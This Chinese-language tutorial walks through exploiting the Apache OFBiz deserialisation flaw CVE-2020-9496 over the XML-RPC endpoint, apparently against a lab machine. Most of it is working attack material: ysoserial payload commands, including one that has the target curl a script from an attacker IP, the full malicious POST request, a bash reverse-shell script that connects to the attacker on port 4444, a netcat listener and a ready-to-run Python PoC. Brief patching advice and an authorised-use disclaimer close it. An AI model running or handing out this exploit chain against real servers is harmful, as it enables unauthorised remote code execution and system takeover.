目錄
漏洞原理
🎯 一、漏洞背景(CVE-2020-9496)
?? 二、攻擊原理簡述
🧱 三、完整攻擊流程步驟詳解
🔎 1. 信息收集
🛠? 2. 工具準備
🧪 3. 構造初始 payload:下載惡意腳本
📨 4. 構造 XML-RPC POST 請求
🧪 5. 啟動臨時 HTTP 服務器
🐚 6. 準備反彈 shell 的腳本 bash.sh
🧨 7. 第二個 payload:修改權限
💥 8. 第三個 payload:執行反彈腳本
📡 9. 啟動監聽
? 四、攻擊流程總結圖(可選)
🔐 五、安全建議
POC部分
? 先決條件(手動準備)
🐍 Python POC 腳本
🧪 使用方法示例
? 安全提醒
漏洞原理
對 Apache OFBiz 17.12.01 的遠程命令執行漏洞(CVE-2020-9496)的完整利用過程,攻擊原理是基于 Java 反序列化 + XML-RPC 請求機制。下面我將逐步分解整個過程,包括漏洞原理、具體步驟、工具使用和攻擊鏈。
🎯 一、漏洞背景(CVE-2020-9496)
Apache OFBiz 是一個基于 Java 的開源企業資源計劃軟件。其 XML-RPC 接口在處理用戶提供的 <serializable>
XML 標簽時,沒有對反序列化對象進行嚴格校驗,導致攻擊者可以傳入惡意序列化數據,在服務器端反序列化執行任意代碼。
該漏洞存在于 /webtools/control/xmlrpc
接口。
?? 二、攻擊原理簡述
-
入口點:
/webtools/control/xmlrpc
接口接受 XML-RPC 格式的請求。 -
利用點:XML 內的
<serializable>
標簽支持 Java 對象反序列化。 -
漏洞點:OFBiz 未驗證反序列化對象的安全性(無黑名單、白名單機制)。
-
核心攻擊技術:利用 ysoserial 工具構造一個惡意的 Java 序列化對象,包裝在 XML 中,并通過 POST 請求發送,造成遠程代碼執行。
🧱 三、完整攻擊流程步驟詳解
🔎 1. 信息收集
-
目標網頁登錄界面暴露了 OFBiz 的版本:17.12.01
-
查詢得知該版本存在 CVE-2020-9496
🛠? 2. 工具準備
下載 ysoserial 以生成惡意 Java 反序列化 payload:
git clone https://github.com/frohoff/ysoserial
cd ysoserial
mvn clean package
🧪 3. 構造初始 payload:下載惡意腳本
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "curl 10.10.14.83/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"
說明:
-
使用
CommonsBeanutils1
gadget 生成惡意 Java 對象。 -
命令通過
curl
下載 payload(bash.sh
)到/tmp/bash.sh
。 -
使用
base64
編碼后放入 XML-RPC 請求的<serializable>
部分。
📨 4. 構造 XML-RPC POST 請求
發送如下請求到目標的 /webtools/control/xmlrpc
接口:
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable></value></member></struct></value></param></params>
</methodCall>
可以用 curl
, Burp Suite
, Python requests
等發送。
🧪 5. 啟動臨時 HTTP 服務器
為了讓目標通過 curl 下載文件,攻擊者啟動一個 HTTP 服務:
python3 -m http.server
🐚 6. 準備反彈 shell 的腳本 bash.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.83/4444 0>&1
🧨 7. 第二個 payload:修改權限
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "chmod 777 /tmp/bash.sh" | base64 | tr -d "\n"
同樣發送 XML-RPC 請求讓目標服務器執行該 payload,賦予可執行權限。
💥 8. 第三個 payload:執行反彈腳本
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "bash -c /tmp/bash.sh" | base64 | tr -d "\n"
最后一次請求觸發反彈 shell。
📡 9. 啟動監聽
攻擊者開啟監聽等待連接:
nc -lvvp 4444
目標執行腳本后,即可與攻擊者建立反彈連接。
? 四、攻擊流程總結圖(可選)
[1] 信息收集↓
[2] ysoserial 構造 payload(curl 下載)↓
[3] POST XML 到 /webtools/control/xmlrpc↓
[4] HTTP 服務器接收到 curl 請求↓
[5] 構造 payload(chmod 腳本)↓
[6] 構造 payload(執行腳本)↓
[7] Netcat 接收到反彈連接
🔐 五、安全建議
-
升級 Apache OFBiz 到安全版本(>= 17.12.02)。
-
禁用或限制
/webtools/control/xmlrpc
接口的訪問。 -
使用 Java 反序列化防護機制(如 Apache Commons IO + ObjectInputFilter)。
-
內部資產添加身份驗證與訪問控制。
POC部分
針對 Apache OFBiz CVE-2020-9496 的 利用 PoC(Proof of Concept)腳本,使用 Python 實現自動化發送惡意 XML-RPC 請求。該腳本會:
-
使用你手動生成的 base64 payload(通過 ysoserial)
-
構造 XML-RPC 請求體
-
向
/webtools/control/xmlrpc
發送 POST 請求
? 先決條件(手動準備)
-
安裝
ysoserial
,生成 payload,例如:java -jar ysoserial.jar CommonsBeanutils1 "id" | base64 | tr -d "\n"
-
替換腳本中的
BASE64_PAYLOAD
內容為你生成的內容。
🐍 Python POC 腳本
import requests# =============== 配置區域 ================
target_url = "https://127.0.0.1:8443/webtools/control/xmlrpc" # 修改為你的目標
base64_payload = "<REPLACE_WITH_YOUR_BASE64_PAYLOAD>" # 替換成你的base64內容
verify_ssl = False # 關閉 SSL 驗證(自簽名證書時使用)# =============== 構造 XML-RPC 請求 ================
xml_body = f'''<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{base64_payload}</serializable></value></member></struct></value></param></params>
</methodCall>
'''headers = {"Content-Type": "application/xml","User-Agent": "Mozilla/5.0"
}# =============== 發送請求 ================
print("[*] Sending payload to target...")
response = requests.post(target_url, headers=headers, data=xml_body, verify=verify_ssl)# =============== 輸出結果 ================
print(f"[+] Response code: {response.status_code}")
print("[+] Response body:")
print(response.text)
🧪 使用方法示例
假設你想執行 whoami
:
java -jar ysoserial.jar CommonsBeanutils1 "whoami" | base64 | tr -d "\n"
將生成的 base64 粘貼進腳本中,運行:
python3 exploit_ofbiz_cve2020_9496.py
? 安全提醒
該 PoC 僅限于授權測試或靶機環境使用,不得在未授權系統上運行!